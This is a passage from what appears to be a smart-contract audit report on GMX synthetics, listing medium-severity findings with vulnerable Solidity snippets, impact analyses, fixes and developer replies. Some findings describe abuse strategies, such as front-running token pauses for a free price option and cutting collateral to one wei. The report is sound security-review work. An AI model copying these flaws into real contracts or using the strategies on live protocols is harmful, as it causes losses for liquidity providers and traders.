Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/173

Found by

ShadowForce, IIIIIII, simon135

Summary

Users are required to specify execution fee at order creation. This fee is to reimburse the keeper for executing their order, and is based on a formula that includes the `tx.price` of the keeper when it executes the order.

Vulnerability Detail

If the user submits an order to exit the position, and specifies a very generous execution fee, there may be an outage in the keeper or oracle network that delays the execution of the order. When the outage is resolved, the transaction gas fees may spike because of all of the queued orders that were waiting for the network to come back (similar to a long-on storm), and or due to other protocols trying to service their own liquidations.

In such a scenario, the user's oracle price is protected for a certain amount of time, but after that window passes, the order won't be executable. The issue is that there is no way for the user to update the execution fee so that it still gets executed during the gas spike, without altering their execution price.

Impact

It's entirely possible that the provided execution fee would generally be described as excessive, at the time of order creation, but due to the outage it became insufficient. During the time window where the order isn't executed, the user's position may change from a profit, to a loss, or even become liquidated.

Code Snippet

Updating the execution fee always touches the order, which changes the update timestamp, which is used to decide which oracle prices are valid:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler.   #1

88              // allow topping up of executionFee as partially filled or frozen
 ↪   orders
```

```
            // will have their executionFee reduced
            address wnt = TokenUtils.wnt(dataStore);
            uint256 receivedWnt = orderVault.recordTransferIn(wnt);
@>          order.setExecutionFee(order.executionFee() + receivedWnt);

            uint256 estimatedGasLimit =
↪ GasUtils.estimateExecuteOrderGasLimit(dataStore, order);
            GasUtils.validateExecutionFee(dataStore, estimatedGasLimit,
↪ order.executionFee());

@>          order.touch();
            OrderStoreUtils.set(dataStore, key, order);

            OrderEventUtils.emitOrderUpdated(eventEmitter, key, sizeDeltaUsd,
↪ triggerPrice, acceptablePrice);
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L68-L101

Tool used

Manual Review

Recommendation

Allow the user to update the execution fee without changing the order timestamp if the `tx.gasprice` of the update transaction is above some threshold/execution fee factor

Discussion

xvi10

this is a valid concern but we do not think the contracts should be changed to add this feature, instead keepers may be reimbursed through a keeper fund or the protocol may run keepers that are willing to execute the transactions even if the execution fee will not be fully reimbursed

Issue M-10: Insufficient funding fee rounding protection

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/170

Found by

IIIIIII

Summary

Since funding fees may be small when there isn't much price movement, the code has a feature to keep track of partial amounts when the chargeable fee rounds down to zero. This isn't enough when the fee is 1.X times the minimum value.

Vulnerability Detail

If the funding fee is 0.9, the code correctly stores it until the fee is greater than one. If the funding fee is 1.9, the code ignores the 0.9 part. If 0.9 was enough of a fee to track in the first case, it should also be large enough for the second case.

Impact

Funding fees are not fully paid when they should be, which may cause liquidations down the line, or less profit than there should be.

Code Snippet

The code accounts for the special case of the amount rounding down to zero when the factor is applied, but doesn't account for fractional amounts when the amount is greater than one:

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol :
↪   MarketUtils.getFundingFeeAmount()   #1

1237        function getFundingFeeAmount(
1238            int256 latestFundingAmountPerSize,
1239            int256 positionFundingAmountPerSize,
1240            uint256 positionSizeInUsd
1241        ) internal pure returns (bool, int256) {
1242            int256 fundingDiffFactor = (latestFundingAmountPerSize -
↪   positionFundingAmountPerSize);
1243            int256 amount = Precision.applyFactor(positionSizeInUsd,
↪   fundingDiffFactor);
1244
1245 @>         return (fundingDiffFactor != 0 && amount == 0, amount);
1246:       }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L1237-L1246

Tool used

Manual Review

Recommendation

Track fractional amounts even when the amount is not equal to zero

Issue M-11: Positions can still be liquidated even if orders to prevent it can't execute

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/168

Found by

IllIllI

Summary

Positions can still be liquidated even if orders to close positions or add collateral can't execute, because liquidation does not transfer tokens

Vulnerability Detail

Liquidation orders do not transfer tokens - they just use the `increment*()/applyDelta*()` functions to update the portions allotted to the various parties. Orders to close positions, on the other hand, actually transfer the tokens so if the transfer reverts, the position can't be closed. If the collateral token is paused (e.g. USDC), a user won't be able to close their position, or add collateral to it, in order to prevent it from being liquidated, but the liquidation keeper will be able to liquidate without any issue.

Impact

Users will be liquidated without being able to prevent it

Code Snippet

Liquidation doesn't actually transfer any funds - it just updates who got what:

```
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol :
↪   DecreasePositionCollateralUtils.getLiquidationValues()   #1

            } else {
@>              values.pnlAmountForPool = (params.position.collateralAmount()
↪   - fees.funding.fundingFeeAmount).toInt256();
            }

            PositionPricingUtils.PositionFees memory _fees;

            PositionUtils.DecreasePositionCollateralValues memory _values =
↪   PositionUtils.DecreasePositionCollateralValues(
                values.pnlTokenForPool,
354 @>              values.executionPrice, // executionPrice
355                 0, // remainingCollateralAmount
356                 values.positionPnlUsd, // positionPnlUsd
357                 values.pnlAmountForPool, // pnlAmountForPool
358                 0, // pnlAmountForUser
359                 values.sizeDeltaInTokens, // sizeDeltaInTokens
360                 values.priceImpactAmount, // priceImpactAmount
361                 0, // priceImpactDiffUsd
362                 0, // priceImpactDiffAmount
363                 PositionUtils.DecreasePositionCollateralValuesOutput(
364:                    address(0),
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol#L344-L364

And then increments/applies delta to the accounting.

Tool used

Manual Review

Recommendation

Keep user collateral at a separate address from the pool address, so that liquidations have to do an actual transfer which may revert, rather than just updating internal accounting

Issue M-12: When underlying collateral tokens are paused, orders can't be canceled

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/167

Found by

IIIIIII

Summary

When underlying collateral tokens are paused (e.g. USDC), orders can't be canceled, and will be executed immediately after unpause

Vulnerability Detail

Part of canceling an order is the sending back of the tokens provided. If the token is paused, the sending back will revert, preventing the cancellation.

Impact

If the order was a market increase order, the user gets a free look into future prices, and can decide after the token unpauses, whether to cancel the order or not, at the expense of the other side of the trade.

Code Snippet

For market orders, if the order reverts (e.g. due to the token being paused), the error handler attempts to cancel the order so that the user doesn't get to keep the block number (and therefore the price) that they submitted at:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler._handleOrderError()   #1

            Order.Props memory order = OrderStoreUtils.get(dataStore, key);
            bool isMarketOrder = BaseOrderUtils.isMarketOrder(order.orderType());

            if (isMarketOrder) {
@>              OrderUtils.cancelOrder(
                    dataStore,
                    eventEmitter,
                    orderVault,
                    key,
                    msg.sender,
                    startingGas,
                    reason,
                    reasonBytes
                );
            } else {
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L227-L247

For market increase or swap orders, canceling the order sends back the collateral in the same transaction as the cancel.

An attacker can write a bot that front-runs token pauses, and submits very large increase orders. By the time the keeper gets to execute the order, the token will be paused, and when it tries to cancel, the cancel will revert. The attacker can watch the price movement during the pause, and if the potential position has a gain, let the keeper execute the order when the token gets unpaused. If the potential position has a loss, the bot can back-run the pause with a cancel, and prevent the keeper from opening the original position.

Tool used

Manual Review

Recommendation

Do not send the collateral back during the cancel - have another separate 'claim' function for it

Issue M-13: Orders with single-sided deposits that are auto-adjusted, always revert

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/165

Found by

IIIIIII, kirk-baird, berndartmueller, joestakey, hack3r-0m, drdr, koxuan, float-audits

Summary

Deposits of only the long collateral token, when doing so results in an auto-adjustment of the order to minimize price impact, results in the order always reverting.

Vulnerability Detail

The code that determines which order to subtract the two amounts in order to get a positive difference value, has the wrong equality condition, which means the difference operation reverts due to underflow.

Impact

Single sided deposits as a feature are completely broken when the deposit doesn't solely push the swap impact towards a lower value.

Code Snippet

Since the variables are `uint256`s, if `poolLongTokenAmount` is less than `poolShortTokenAmount`, subtracting the latter from the former will always revert. The else condition has the same issue:

```
// File: gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol : ExecuteDepositUtils.getAdjustedLongAndShortTokenAmounts()   #1

@>         if (poolLongTokenAmount < poolShortTokenAmount) {
@>             uint256 diff = poolLongTokenAmount - poolShortTokenAmount;

               if (diff < poolLongTokenAmount) {
                   adjustedLongTokenAmount = diff + (longTokenAmount - diff) / 2;
                   adjustedShortTokenAmount = longTokenAmount - adjustedLongTokenAmount;
               } else {
                   adjustedLongTokenAmount = longTokenAmount;
400                 }
401             } else {
402:@>               uint256 diff = poolShortTokenAmount - poolLongTokenAmount;
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L382-L402

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
 ↪  b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
index 03467e4..915c7fe 100644
--- a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
@@ -389,7 +389,7 @@ library ExecuteDepositUtils {
         uint256 adjustedLongTokenAmount;
         uint256 adjustedShortTokenAmount;

-        if (poolLongTokenAmount < poolShortTokenAmount) {
+        if (poolLongTokenAmount > poolShortTokenAmount) {
             uint256 diff = poolLongTokenAmount - poolShortTokenAmount;

             if (diff < poolLongTokenAmount) {
```

Issue M-14: Single-sided deposits that are auto-adjusted may have their collateral value cut in half

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/164

Found by

rvierdiiev, IIIIIII, joestakey, koxuan

Summary

Deposits of only the long collateral token, when doing so results in an auto-adjustment of the order to minimize price impact, creating a larger adjusted short amount, does not properly track the new adjusted long amount.

Vulnerability Detail

When such an adjustment is maid, the adjusted long amount is never updated, so it remains at the uninitialized value of zero.

Impact

The long portion of the collateral will be zero. If the user submitted the order without specifying a minimum number of market tokens to receive, the amount they receive may be half of what it should have been. If they provide sane slippage amounts, the transaction will revert, and the feature will essentially be broken.

Code Snippet

Rather than storing the result of the subtraction to the `adjustedLongTokenAmount` variable, the difference is subtracted from it, and the result is not stored:

```
// File: gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol :
↪  ExecuteDepositUtils.getAdjustedLongAndShortTokenAmounts()   #1

389 @>         uint256 adjustedLongTokenAmount;
390            uint256 adjustedShortTokenAmount;
...
402                uint256 diff = poolShortTokenAmount - poolLongTokenAmount;
403
404                if (diff < poolShortTokenAmount) {
405                    adjustedShortTokenAmount = diff + (longTokenAmount -
↪  diff) / 2;
406 @>                 adjustedLongTokenAmount - longTokenAmount -
↪  adjustedShortTokenAmount;
407                 } else {
408                     adjustedLongTokenAmount = 0;
409                     adjustedShortTokenAmount = longTokenAmount;
410                 }
411             }
412
413             return (adjustedLongTokenAmount, adjustedShortTokenAmount);
414:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L389-L414

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
↪  b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
index 03467e4..1a96f47 100644
--- a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
@@ -403,7 +403,7 @@ library ExecuteDepositUtils {

             if (diff < poolShortTokenAmount) {
                 adjustedShortTokenAmount = diff + (longTokenAmount - diff) / 2;
-                adjustedLongTokenAmount - longTokenAmount -
↪  adjustedShortTokenAmount;
+                adjustedLongTokenAmount = longTokenAmount -
↪  adjustedShortTokenAmount;
             } else {
                 adjustedLongTokenAmount = 0;
                 adjustedShortTokenAmount = longTokenAmount;
```

Issue M-15: Malicious order keepers can trigger the cancellation of any order, with old blocks

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/163

Found by

IIIIIII

Summary

Malicious order keepers can trigger the cancellation of any order by providing oracle prices from blocks unrelated to the order

Vulnerability Detail

Each order has its own requirements about what block ranges it expects. The error handler for each order only allows orders to be retried if the keeper provided empty/invalid prices. The error handlers make no such allowances for invalid blocks.

The order keepers are supposed to be a decentralized network, so it's likely that at some point there will be a bad actor, or one who uses the rules to their advantage, at the expense of other users.

Impact

Orders will be canceled rather than retried by keepers that would have executed the order properly. This may lead to position liquidations.

Code Snippet

These are three revert errors that are not caught by the various error handlers:

```
function revertOracleBlockNumbersAreNotEqual(uint256[] memory
↪   oracleBlockNumbers, uint256 expectedBlockNumber) internal pure {
    revert OracleBlockNumbersAreNotEqual(oracleBlockNumbers,
↪   expectedBlockNumber);
}


function revertOracleBlockNumbersAreSmallerThanRequired(uint256[] memory
↪   oracleBlockNumbers, uint256 expectedBlockNumber) internal pure {
    revert OracleBlockNumbersAreSmallerThanRequired(oracleBlockNumbers,
↪   expectedBlockNumber);
}
```

```
function revertOracleBlockNumberNotWithinRange(
    uint256[] memory minOracleBlockNumbers,
    uint256[] memory maxOracleBlockNumbers,
    uint256 blockNumber
) internal pure {
    revert OracleBlockNumberNotWithinRange(minOracleBlockNumbers,
↪   maxOracleBlockNumbers, blockNumber);
}
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/OracleUtils.sol#L276-L290

Tool used

Manual Review

Recommendation

Add checks for these errors, and make the functions result in a revert rather than a cancellation

Issue M-16: Limit orders are unnecessarily delayed by a block

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/160

Found by

IIIIIII

Summary

Limit orders are delayed by a block due to oracle block number restrictions, in combination with requiring ascending/descending prices. Limit orders have special logic to ensure that they're only triggered when the price approaches the trigger price. To ensure the two prices (the primary price and secondary price) used for determining the price direction are not prices from before the order is placed, the oracle code requires that oracle price block numbers all come after the block where the order was placed.

Vulnerability Detail

Rather than requiring that only the secondary (later endpoint) price comes after the block in which the order was placed, both the secondary *and* the primary price are required to come after the order block.

Impact

Consider the case where a user wants to set a stoploss at a price of 100, and they submit an order at the indicated block/price:

```
block range : primary/secondary prices
  [1,2]     :       110
  [2,3]     :       100   <--
  [4,5]     :        60
```

An order submitted at the indicated block would be unable to be filled using the prices at block range `[2,3]`, and instead would be forced to use `[4,5]` block range. This on its own is not an issue, but if the order is combined with a swap whose price impact penalty in `[2,3]` is very small, but is very large in `[4,5]`, the user will be understandably unhappy about the order execution.

Code Snippet

All oracle prices are required to come after the order timestamp, including both the position and the swap prices:

```
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol : DecreaseOrderUtils.validateOracleBlockNumbers()   #1

        if (
            orderType == Order.OrderType.LimitDecrease ||
            orderType == Order.OrderType.StopLossDecrease
        ) {
            uint256 latestUpdatedAtBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
            if (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
                OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, latestUpdatedAtBlock);
            }
            return;
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/DecreaseOrderUtils.sol#L134-L156

```
// File: gmx-synthetics/contracts/order/IncreaseOrderUtils.sol : IncreaseOrderUtils.validateOracleBlockNumbers()   #2

@>      if (orderType == Order.OrderType.LimitIncrease) {
            console.log("orderUpdatedAtBlock", orderUpdatedAtBlock);
            console.log("positionIncreasedAtBlock", positionIncreasedAtBlock);
            console.log("minOracleBlockNumbers", minOracleBlockNumbers[0]);
            uint256 laterBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
            if (!minOracleBlockNumbers.areGreaterThan(laterBlock)) {
@>              OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, laterBlock);
            }
            return;
        }

        BaseOrderUtils.revertUnsupportedOrderType();
    }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/IncreaseOrderUtils.sol#L98-L117

The same is true for liquidations and swaps.

Tool used

Manual Review

Recommendation

Allow a price that is separate from the primary and secondary prices, to come before the order block, and allow the primary/secondary prices to equal the order block

Issue M-17: Slippage is not respected if PnL swap associated with a decrease order fails

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/159

Found by

IIIIIII

Summary

After a position has been decreased, the user has an option to convert the PnL token to any other token via a swap.

Vulnerability Detail

If the swap fails (which is where the slippage is checked), the tokens are sent directly to the user, without checking whether there was slippage

Impact

A user will get back fewer tokens than they expect, if there was a large price impact, and the subsequent swap fails due to e.g. the market being temporarily disabled, or the swap impact being too large, or a token being swapped through is paused

Code Snippet

Funds are sent back directly, without checking for slippage:

```
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol :
↪   DecreaseOrderUtils._handleSwapError()    #1

168            emit SwapUtils.SwapReverted(reason, reasonBytes);
169
170            MarketToken(payable(order.market())).transferOut(
171                result.outputToken,
172                order.receiver(),
173 @>             result.outputAmount,
174                order.shouldUnwrapNativeToken()
175            );
176:       }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/DecreaseOrderUtils.sol#L168-L176

Tool used

Manual Review

Recommendation

Calculate whether the USD value of `outputToken` is equivalent to the `minOutputAmount` expected by the order, and revert if it's less than required

Issue M-18: Global position-fee-related state not updated until *after* liquidation checks are done

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/158

Found by

IIIIIII

Summary

Global position-fee-related state not updated until *after* liquidation checks are done

Vulnerability Detail

Checking whether a position is liquidatable occurs before the global state is updated.

Impact

A position that should be liquidated in the current block, won't be liquidated until the next block, when the correct fee multipliers/factors are applied. A delayed liquidation means that a position that should have been liquidated will not be, likely causing a larger loss than should have been incurred.

Code Snippet

State is updated *after* the liquidation checks:

```
// File: gmx-synthetics/contracts/position/DecreasePositionUtils.sol : DecreasePositionUtils.decreasePosition()   #1

@>         if (BaseOrderUtils.isLiquidationOrder(params.order.orderType()) && !PositionUtils.isPositionLiquidatable(
                params.contracts.dataStore,
                params.contracts.referralStorage,
                params.position,
                params.market,
                cache.prices,
                true
            )) {
                revert PositionShouldNotBeLiquidated();
            }
```

```
172
173:@>          PositionUtils.updateFundingAndBorrowingState(params,
 ↪  cache.prices);
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionUtils.sol#L152-L179

Tool used

Manual Review

Recommendation

Call `PositionUtils.updateFundingAndBorrowingState()` before all checks

Issue M-19: Position fees are still assessed even if the ability to decrease positions is disabled

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/157

Found by

IIIIIII

Summary

Position fees (borrowing and funding) are still assessed even if the ability to decrease positions is disabled

Vulnerability Detail

Config keepers have the ability to disable order placement and order execution, and them doing so does not pause the state of position fees.

Impact

Users will be assessed position fees even if they wished to close their positions, and can be liquidated through no fault of their own.

Code Snippet

Order creation (to close a position) may be disabled:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol :
↪  OrderHandler.createOrder()   #1

43:           FeatureUtils.validateFeature(dataStore,
↪  Keys.createOrderFeatureDisabledKey(address(this),
↪  uint256(params.orderType)));
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L43

As may execution of orders prior to the disabling of creation:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol :
↪  OrderHandler._executeOrder()   #2
```

```
            FeatureUtils.validateFeature(params.contracts.dataStore, Keys.executeOrderFeatureDisabledKey(address(this), uint256(params.order.orderType())));
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L197-L210

But position fees are tracked based on time and do not account for pauses:

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.updatedAt    #3

        function getSecondsSinceCumulativeBorrowingFactorUpdated(DataStore dataStore, address market, bool isLong) internal view returns (uint256) {
            uint256 updatedAt = getCumulativeBorrowingFactorUpdatedAt(dataStore, market, isLong);
            if (updatedAt == 0) { return 0; }
@>          return block.timestamp - updatedAt;
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L1759-L1763

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.getSecondsSinceFundingUpdated()    #4

        function getSecondsSinceFundingUpdated(DataStore dataStore, address market) internal view returns (uint256) {
            uint256 updatedAt = dataStore.getUint(Keys.fundingUpdatedAtKey(market));
            if (updatedAt == 0) { return 0; }
@>          return block.timestamp - updatedAt;
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L1658-L1662

Tool used

Manual Review

Recommendation

Track and account for disabling, and adjust position fees based on whether things were paused or not.

Discussion

xvi10

this is a valid concern, but we do not think this logic should be added

orders should only be disabled if there is an emergency issue, we do not think the additional complexity is worth adding for this case

Issue M-20: Positions cannot be liquidated once the oracle prices are zero

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/156

Found by

IllIllI

Summary

In the unlikely event that the price of an asset reaches zero, there is no way to liquidate the position, because both usages of oracles will revert.

Vulnerability Detail

Zero is treated as an invalid value, for both index oracle prices, as well as position prices.

Impact

Positions won't be liquidatable, at an extremely critical moment that they should be liquidatable. Losses and fees will grow and the exchange will become insolvent.

Code Snippet

The Chainlink oracle rejects prices of zero:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol :
↪   Oracle._setPricesFromPriceFeeds()   #1

                (
                    /* uint80 roundID */,
                    int256 _price,
                    /* uint256 startedAt */,
                    /* uint256 timestamp */,
                    /* uint80 answeredInRound */
                ) = priceFeed.latestRoundData();

                uint256 price = SafeCast.toUint256(_price);
                uint256 precision = getPriceFeedMultiplier(dataStore, token);

                price = price * precision / Precision.FLOAT_PRECISION;

                if (price == 0) {
```

```
@>                  revert EmptyFeedPrice(token);
                }

```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L571-L587

As does the usage of off-chain oracle prices:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.getLatestPrice()
↪  #2

            if (!secondaryPrice.isEmpty()) {
                return secondaryPrice;
            }

            Price.Props memory primaryPrice = primaryPrices[token];
            if (!primaryPrice.isEmpty()) {
                return primaryPrice;
            }

@>          revert OracleUtils.EmptyLatestPrice(token);
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L341-L356

Tool used

Manual Review

Recommendation

Provide a mechanism for positions to be liquidated even if the price reaches zero

Discussion

xvi10

oracles should report the minimum possible price for this case

IIIIIII000

@xvi10 if the price drops from $100 down to zero, isn't that going to cause problems? If you don't want to work with prices of zero, shouldn't there be, e.g. 1 wei of value so that wildly incorrect prices aren't used?

xvi10

i think if we allow zero an issue could be raised that allowing zero increases the risk that oracle malfunctions leading to reports of zero prices could cause losses to the pool

in that case, perhaps the recommendation in the previous comment is not correct, the oracle should report zero as the price but the market would need some manual intervention to check and settle

IIIIIII000

the readme states that `Oracle signers are expected to accurately report the price of tokens`, so any misreporting would be a separate bug, and reporting a price of 100 seems much more dangerous than an unidentified bug. As is described in #155, using a sentinel value would be safer

xvi10

agree on that, i'm not sure if it is worth the complexity to handle a zero price case vs manually settling the market, will mark this as confirmed and may not fix

some calculations such as position.sizeInTokens would not make sense if the price is zero or negative so I believe the contracts in the current state cannot support these values and the markets would need to be manually settled

Issue M-21: Trades in blocks where the bid or ask drops to zero will be priced using the previous block's price

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/155

Found by

IIIIIII

Summary

The oracle prices used for traces allow multiple oracles and their last prices to be provided. The oldest block's price becomes the primary price, and the newer price becomes the secondary price. Trades in blocks where the primary price is non-zero, but the secondary price is zero, will be priced incorrectly

Vulnerability Detail

For position increase/decrease orders, the price used is either the primary or the secondary price, but a value of zero for the secondary price is considered to be a sentinel value indicating 'empty', or 'no price has been set'. In such cases, the secondary price is ignored, and the primary price is used instead.

Impact

Users exiting their positions in the first block where the price touches zero, are able to exit their positions at the primary (older) price rather than the secondary (newer) price of zero. This is pricing difference is at the expense of the pool and the other side of the trade.

Code Snippet

The secondary price is only used when it's non-zero:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.getLatestPrice()
↪  #1

       function getLatestPrice(address token) external view returns
↪  (Price.Props memory) {
           if (token == address(0)) { return Price.Props(0, 0); }

           Price.Props memory secondaryPrice = secondaryPrices[token];

@>         if (!secondaryPrice.isEmpty()) {
               return secondaryPrice;
```

```
        }

        Price.Props memory primaryPrice = primaryPrices[token];
        if (!primaryPrice.isEmpty()) {
            return primaryPrice;
        }

        revert OracleUtils.EmptyLatestPrice(token);
    }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L341-L356

Note that even if just the bid touches zero, that's enough to disqualify the secondary price.

Tool used

Manual Review

Recommendation

Use an actual sentinel flag rather than overloading the meaning of a 'zero' price.

Discussion

xvi10

oracles should report the minimum possible price instead of zero

IIIIIII000

@xvi10 same question as for #156

xvi10

replied in 156

IIIIIII000

the readme states that `Oracle signers are expected to accurately report the price of tokens`, so any misreporting would be a separate bug, and reporting a price of 100 seems much more dangerous than an unidentified bug. As is described above, using a sentinel value would be safer

xvi10

replied in https://github.com/sherlock-audit/2023-02-gmx-judging/issues/156

Issue M-22: PnL is incorrectly counted as collateral when determining whether to close positions automatically

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/154

Found by

IIIIIII

Summary

GMX uses `MIN_COLLATERAL_USD` to ensure that there is always enough collateral remaining in a position, so that if there are sudden large gaps in prices, there is enough collateral to cover potential losses.

Vulnerability Detail

When a position is reduced, the estimate of remaining collateral includes the total P&L as part of the collateral. If a position has a lot of profit, a nefarious owner of the position can reduce the collateral to one wei of the collateral token, and let the position run.

Impact

If there is a sudden gap down in price, as is common with crypto Bart price chart formations, the user only loses one wei, but the pool incurs losses because there is no collateral to cover price decreases. Once one wei is left in the position, there is no mechanism for a keeper to reduce the position's leverage, so the only chance thereafter to close the position is when it needs to be liquidated.

Code Snippet

PnL is counted as collateral:

```
// File: gmx-synthetics/contracts/position/PositionUtils.sol : PositionUtils.willPositionCollateralBeSufficient()   #1

            int256 remainingCollateralUsd = values.positionCollateralAmount.toInt256() * collateralTokenPrice.min.toInt256();

@>          remainingCollateralUsd += values.positionPnlUsd;

            if (values.realizedPnlUsd < 0) {
                remainingCollateralUsd = remainingCollateralUsd + values.realizedPnlUsd;
            }

            if (remainingCollateralUsd < 0) {
                return (false, remainingCollateralUsd);
            }

432:            int256 minCollateralUsdForLeverage =
↪   Precision.applyFactor(values.positionSizeInUsd,
↪   minCollateralFactor).toInt256();
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/PositionUtils.sol#L412-L432

The position is only closed if that total is below the minimum collateral dollar amount.

Tool used

Manual Review

Recommendation

Do not count PnL as part of the collateral, for the purposes of determining the minimum position collateral amount. The combined value may still be useful as a separate check.

Issue M-23: Missing checks for whether a position is still an ADL candidate

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/153

Found by

IIIIIII

Summary

There are no checks for whether a position is still an ADL candidate or not

Vulnerability Detail

All checks during `AdlHandler.executeAdl()` are global checks about exchange-wide PnL levels, and there are no checks for whether the specific position is a valid ADL candidate or not.

Impact

Between the time when the ADL keeper chooses its list of ADL candidates and when the transaction gets confirmed (e.g. if the keeper has a sudden CPU spike, or the connection to the sequencer has to be retried), the user may have already reduced their position, and it would be incorrect to further reduce their position.

Code Snippet

All checks are global:

```
// File: gmx-synthetics/contracts/exchange/AdlHandler.sol :
↪ AdlHandler.executeAdl()   #1

@>         (cache.shouldAllowAdl, cache.pnlToPoolFactor,
↪ cache.maxPnlFactorForAdl) = MarketUtils.isPnlFactorExceeded(
                dataStore,
                oracle,
                market,
                isLong,
                Keys.MAX_PNL_FACTOR_FOR_ADL
            );

            if (!cache.shouldAllowAdl) {
```

```
128                revert AdlNotRequired(cache.pnlToPoolFactor,
 ↪  cache.maxPnlFactorForAdl);
129:           }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/AdlHandler.sol#L119-L129

```
// File: gmx-synthetics/contracts/exchange/AdlHandler.sol :
 ↪  AdlHandler.executeAdl()   #2

150            // validate that the ratio of pending pnl to pool value was
 ↪  decreased
151 @>         cache.nextPnlToPoolFactor =
 ↪  MarketUtils.getPnlToPoolFactor(dataStore, oracle, market, isLong, true);
152            if (cache.nextPnlToPoolFactor >= cache.pnlToPoolFactor) {
153                revert InvalidAdl(cache.nextPnlToPoolFactor,
 ↪  cache.pnlToPoolFactor);
154            }
155
156            cache.minPnlFactorForAdl =
 ↪  MarketUtils.getMinPnlFactorAfterAdl(dataStore, market, isLong);
157
158            if (cache.nextPnlToPoolFactor <
 ↪  cache.minPnlFactorForAdl.toInt256()) {
159                revert PnlOvercorrected(cache.nextPnlToPoolFactor,
 ↪  cache.minPnlFactorForAdl);
160            }
161:       }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/AdlHandler.sol#L150-161

The order only gets canceled if the order would cause the position size to go negative

Tool used

Manual Review

Recommendation

Create a view function for whether the position is eligible for ADL, and revert if the user is not eligible when the order executes

Discussion

xvi10

the ADL transaction should revert if it does not reduce the pnl value to pool value ratio

IIIIIII000

@xvi10 if there are 100 ADL-eligible accounts and you pick the largest one, if that largest one becomes the smallest by the time the keeper executes, shouldn’t one of the larger other 99 be chosen instead?

xvi10

preferably it should be the largest ADL candidate but we don't enforce this on-chain because I think it is difficult to maintain an ordering or orders by PnL

